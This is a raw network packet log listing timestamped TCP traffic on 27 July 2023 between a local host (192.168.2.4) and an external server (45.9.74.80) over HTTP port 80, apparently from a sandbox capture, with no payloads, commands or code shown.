Jul 27, 2023 18:27:01.202610970 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.202656031 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.202670097 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.202694893 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.202733994 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.202748060 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.202770948 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.202809095 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.202842951 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.202842951 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.202846050 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.202883005 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.202919960 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.202936888 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.202958107 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.202996016 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.203006029 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.203033924 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.203071117 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.203083992 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.203116894 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.203156948 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.203176975 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.203196049 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.203236103 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.203249931 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.203278065 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.203318119 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.203357935 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.203383923 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.203396082 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.203434944 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.203473091 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.203511000 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.203541040 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.203550100 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.203563929 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.203592062 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.203602076 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.203668118 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.203706026 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.203727961 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.203742981 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.203747988 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.203782082 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.203793049 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.203820944 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.203860044 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.203871965 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.203898907 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.203936100 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.203949928 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.203974009 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.204011917 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.204024076 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.204051971 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.204090118 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.204102039 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.204129934 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.204169035 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.204180956 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.204206944 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.204242945 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.204281092 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.204297066 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.204335928 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.204355001 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.204374075 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.204412937 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.204451084 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.204477072 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.204488039 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.204497099 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.204526901 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.204567909 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.204577923 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.204605103 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.204641104 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.204653978 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.204679012 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.204735994 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.204758883 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.204797029 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.204834938 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.204849005 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.204875946 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.204915047 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.204927921 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.204952955 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.204993010 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.205003023 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.205030918 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.205069065 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.205082893 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.205106974 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.205144882 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.205157042 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.205183983 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.205224037 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.205257893 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.205257893 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.205260992 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.205300093 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.205338955 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.205368042 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.205375910 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.205389977 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.205416918 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.205430984 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.205455065 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.205493927 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.205535889 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.205549955 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.205569029 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.205590963 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.205605030 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.205631018 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.205667973 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.205682993 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.205704927 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.205794096 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.205802917 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.205842972 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.205879927 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.205892086 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.205920935 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.205960989 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.205965042 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.205997944 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.206036091 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.206043005 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.206073046 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.206110001 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.206125975 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.206149101 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.206187010 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.206201077 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.206224918 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.206264019 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.206273079 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.206300974 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.206338882 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.206358910 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.206378937 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.206415892 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.206434965 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.206454992 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.206475973 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.206492901 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.206499100 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.206532001 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.206573009 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.206609964 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.206624031 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.206624031 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.206624031 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.206649065 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.206685066 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.206692934 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.206718922 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.206722975 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.206738949 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.206760883 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.206778049 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.206799030 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.206837893 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.206856012 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.206876993 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.206898928 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.206916094 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.206935883 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.206953049 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.206975937 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.206990957 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.207012892 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.207029104 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.207056046 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.207067013 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.207077980 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.207103968 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.207128048 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.207140923 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.207180023 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.207181931 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.207182884 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.207217932 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.207253933 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.207264900 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.207285881 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.207290888 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.207308054 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.207328081 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.207355022 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.207365036 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.207376003 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.207403898 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.207429886 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.207441092 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.207454920 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.207479954 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.207515001 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.207529068 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.207552910 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.207555056 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.207555056 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.207593918 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.207623959 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.207629919 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.207643986 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.207668066 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.207705021 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.207742929 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.207746029 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.207746029 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.207746983 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.207782030 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.207803011 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.207819939 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.207837105 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.207858086 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.207875013 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.207895994 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.207931995 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.207952023 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.207968950 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.207978964 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.208023071 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.208059072 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.208086967 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.208097935 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.208107948 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.208138943 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.208149910 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.208178043 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.208188057 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.208218098 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.208256960 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.208282948 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.208312988 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.208352089 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.208373070 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.208389997 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.208427906 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.208435059 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.208467960 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.208504915 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.208513975 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.208545923 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.208591938 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.208594084 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.208636999 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.208674908 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.208684921 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.208713055 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.208751917 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.208758116 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.209724903 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.210433006 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.210455894 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.210521936 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.231344938 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.231389046 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.231417894 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.231446981 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.231476068 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.231507063 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.231507063 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.231508017 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.231508017 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.231508017 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.231508017 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.231538057 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.231571913 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.231580019 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.231605053 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.231621981 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.231633902 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.231663942 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.231687069 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.231693983 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.231708050 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.231724024 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.231736898 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.231754065 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.231780052 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.231782913 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.231798887 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.231813908 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.231822014 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.231843948 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.231863022 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.231874943 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.231890917 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.231906891 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.231935978 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.231960058 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.231965065 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.231980085 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.231997013 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.232016087 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.232026100 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.232038975 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.232058048 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.232088089 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.232105017 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.232116938 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.232130051 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.232147932 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.232167959 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.232178926 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.232209921 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.232234001 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.232242107 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.232255936 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.232280016 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.232295990 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.232325077 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.232353926 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.232378960 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.232383966 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.232399940 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.232414961 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.232430935 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.232445002 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.232475042 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.232495070 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.232505083 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.232515097 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.232536077 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.232558012 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.232570887 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.232600927 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.232620955 CEST	49705	80	192.168.2.4	45.9.74.80
